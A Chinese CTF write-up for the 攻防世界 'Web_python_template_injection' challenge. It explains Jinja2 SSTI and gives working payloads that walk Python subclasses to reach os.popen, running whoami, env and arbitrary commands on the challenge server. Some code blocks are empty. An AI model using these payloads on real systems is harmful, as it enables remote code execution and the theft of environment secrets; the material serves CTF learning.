攻防世界25-Web_python_template_injection-CTFWeb

python模板注入,其实就是ssti,SSTI 注入 - Hello CTF (hello-ctf.com)

「模板注入 SSTI(Server-Side Template Injection)」 也一样,数据传递 就是可控的输入点,以 Jinja2 举例,Jinja2 在渲染的时候会把 {{}} 包裹的内容当做变量解析替换,所以当我们传入 {{表达式}} 时,表达式就会被渲染器执行。

测试一下

1
http://61.147.171.105:65476/{{7*7}}

image-20241016110314430

存在ssti

直接试试几个先看看

1
2
3
4
5
6
7
8
9
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('env').read()") }}{% endif %}{% endfor %}


> 首先,题目告诉我们这是一个 python 注入问题,思考怎样用 python 语句获取控制台权限:想到了 `os.system` 和 `os.popen` ([参考资 料](https://blog.csdn.net/sxingming/article/details/52071514)), 这两句前者返回 **退出状态码** , 后者 **以 file 形式** 返回 **输出内容**, 我们想要的是内容,所所以选择 `os.popen`

[python 模板注入 - tr1ple - 博客园 (cnblogs.com)](https://www.cnblogs.com/tr1ple/p/9415641.html)

class : 返回对象所属的类

mro : 返回一个类所继承的基类元组,方法在解析时按照元组的 顺序解析。

base : 返回该类所继承的基类 // __base__和__mro__都是用来寻找基类的

subclasses : 每个新类都保留了子类的引用,这个方法返回一个 类中仍然可用的的引用的列表

init : 类的初始化方法

globals : 对包含函数全局变量的字典的引用

1

1
2
3

![image-20241016111657358](https://luhaoblog.oss-cn-hangzhou.aliyuncs.com/img1/image-20241016111657358.png)

1

1
2
3
4
5
6
7

> 从其中可以找到我们想要 的 `os` 所在的 `site._Printer` 类,它在列表的第七十二位, 即 `__subclasses__()[71]`

![image-20241016112221690](https://luhaoblog.oss-cn-hangzhou.aliyuncs.com/img1/image-20241016112221690.png)

> 通过 `__subclasses__()[71].__init__.__globals__['os'].popen('命令行语句').read()` 来 **调用服务器的控制台** **并显示** ,这下我们就可以随便用控制台输出了

1
2
3

![image-20241016112701542](https://luhaoblog.oss-cn-hangzhou.aliyuncs.com/img1/image-20241016112701542.png)


![image-20241016112800374](https://luhaoblog.oss-cn-hangzhou.aliyuncs.com/img1/image-20241016112800374.png)

还有其他语句可获得